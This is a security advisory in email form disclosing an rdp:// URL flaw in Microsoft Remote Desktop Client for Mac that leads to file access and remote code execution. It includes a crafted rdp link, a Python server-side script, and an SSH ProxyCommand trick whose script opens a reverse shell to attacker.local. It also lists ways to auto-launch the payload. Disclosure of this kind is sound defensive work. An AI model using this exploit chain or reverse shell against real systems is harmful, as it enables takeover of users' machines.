Microsoft Remote Desktop Client for Mac Remote Code Execution - Update

--Apple-Mail=_7478B0B8-0770-49D5-9193-D995C7D8F669
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii


Advisory ID:           SGMA16-004
Title:                 Microsoft Remote Desktop Client for Mac Remote =
Code Execution
Product:               Microsoft Remote Desktop Client for Mac
Version:               8.0.36 and probably prior
Vendor:                www.microsoft.com
Type:                  Arbitrary file read/write (leads to RCE)
Risk level:            4 / 5
Credit:                filippo.cavallarin@wearesegment.com
CVE:                   None
Vendor notification:   2016-07-13
Vendor fix:            2017-01-17
Public disclosure:     2017-01-23


Details

A vulnerability exists in Microsoft Remote Desktop for Mac that allows a =
remote attacker to execute arbitrary code on the target machine.
User interaction is needed to exploit this issue, but a single click on =
a link (sent via mail, iMessage, etc.) is sufficient to trigger the =
vulnerability.

Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably =
prior) allows a malicious Terminal Server to read and write any file in =
the home directory of the connecting user.
The vulnerability exists to the way the application handles rdp urls. In =
the rdp url schema its possible to specify a parameter that will make =
the users home directory accessible to the server without any warning =
or confirmation request. If an attacker can trick a user to open a =
malicious rdp url, he/she can read and write any file within the =
victims home directoy.

Since Mac OS X by default opens rdp urls without confirmation (for =
example via Safari, Mail, Messages), a single click on a link its =
sufficient to trigger the vulnerability.

According to Microsoft, no CVE will be assigned due to the release model =
of this particular client.

A demo video is available at https://youtu.be/6HeSiXYRpNY.



PoC
The following Proof Of Concept creates a directory on the victims home =
and puts a file into it.

To reproduce the issue follow the steps below:
1. install a windows 2008 server and allow Administrator to connect =
without password
2. login as Administrator
3. configure a trusted ssl certificate for rdp connections
4. install python2.7 and put the following script in the "Startup" =
folder
5. logout
6. send the link below to a victim

RDP link:
=
rdp://full%20address=3Ds:attacker.local&desktopwidth=3Di:200&desktopheight=
=3Di:200&audiomode=3Di:2&disable%20themes=3Di:1&screen%20mode%20id=3Di:1&d=
evicestoredirect:s:*&drivestoredirect=3Ds:*&redirectprinters=3Di:1&usernam=
e=3Ds:Administrator


Python script:
#BOF
import sys
import subprocess
import time
import os

def runcmd(cmd):
        err =3D None
        out =3D None
        try:
                process =3D  subprocess.Popen(cmd, shell=3DTrue, =
stdout=3Dsubprocess.PIPE);
                out, err =3D process.communicate()
        except Exception as e:
                print str(e)

        return out


while(True):
        netuse =3D runcmd("net use")
        if netuse.find("TSCLIENT"):
                runcmd(MKLINK /D C:\home \\tsclient\home)

                runcmd(md c:\home\REMOTE)

                runcmd(copy c:\REMOTE.txt =
c:\home\REMOTE\REMOTE.txt)

                runcmd("shutdown /l /f")
                break

        time.sleep(0.4)
#EOF


Remote Code Execuiton
To execute arbitrary code on the target machine we can use a trick that =
involves ssh and ssh:// URI handler.
Consider the following example where the RDC exploit pushes the =
following files on the remote machine:
1. ~/.ssh/known_hosts
        p ssh-rsa =
AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. ~/.ssh/config
        Host p
        HostName p
        ProxyCommand /bin/bash ~/.ssh/command.sh
3. ~/.ssh/command.sh
        for a in {1..31}; do trap "" $a; done
        nohup bash -i >& /dev/tcp/attacker.local/1234 0>&1 &

At this point any attempt to launch ssh://p will lead to the execution =
of ~/.ssh/command.sh without any warning. To automatically execute the =
triggering URL (ssh://p) we can either:
1. send the link to the victim via Mail or iMessage
2. poison Safari cache adding some javascript that launches the URL
3. poison Safari "Application Saved State" so that the URL il launched =
at browser execuition
4. poison "loginitems" to launch the URL at system startup

Its also possible achieve Remote Code Execution by sending a single =
link to the victim if he/she uses Safari as the default browser.


UPDATE:
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents =
this exploit from working. This fix is mentioned in the Apple Store:
"This update fixes an issue where a website could repeately attempt to =
launch other websites or applications"


Solution
Update Microsoft RDC to the latest version. The version 8.0.37 fixes =
this issue.

References
=
https://www.wearesegment.com/research/Microsoft-Remote-Desktop-Client-for-=
Mac-Remote-Code-Execution


--Apple-Mail=_7478B0B8-0770-49D5-9193-D995C7D8F669
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename=signature.asc
Content-Type: application/pgp-signature;
	name=signature.asc
Content-Description: Message signed with OpenPGP using GPGMail

-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJYhdwzAAoJENKaW7brYyGoVYsP/2xDA9usFH83plfqMPHo00Ya
nBcIYK0/+ytZrIfjWwEIDS81HSQ3KGSRUx17ui8J22OyHnY0fwE3NSwuBIyjfDIG
2B4lQmGiGZc+CqdBCOneRHFRNRDq24ikNoWYHh0MrkDpzRx/z4hbJnhi/AwJHmdA
4REbS61FISYL405AVV4xD/PmR0ni47hSr737sdxiPog1A8MfLgyqESwRB8paz7xO
Q8BTEwaMx3anX3r2+xk4EXTGe2McGgR5xifrpAYgCT7xABVXl4AazZyDV1Pg7QaC
2BPCONgGZQtC+ybCHB/K9g14x42RhbYaVH2wg6n8k2YyIEYvPCt9vF3sl7LO1H9K
wO2HFLLhZkggn0E2u4HYl3Oq+MHfEIkNyEXILCU+xZnlYD2NaitCldCmKg29Wg33
NDLFC3+R7tphD+VVAgLCTZdpBismWPOhEBBgAuqSYB36nPw4cQKmZyepwmk+Oxka
jpRZdlb49pLFPJ0YFBmYZqmo0N8hf7PUYmPFfEzpxjxb3+S3wlaFmpmH6f2w6slv
JIUjSvbiaCpgPqyoIVdqJFpdqhNr3k3CwVAHEjE7Co77kc4LmVVPaTxU7iaaeOAz
wQfueMGPCEEqSocHwZAFqltNtpesrRG1/GoUSTNaLRIb/Z9wLVIVLVrRUD53Ux2A
PLz6qxBnLJSRR/YM7F4S
=RImW
-----END PGP SIGNATURE-----

--Apple-Mail=_7478B0B8-0770-49D5-9193-D995C7D8F669--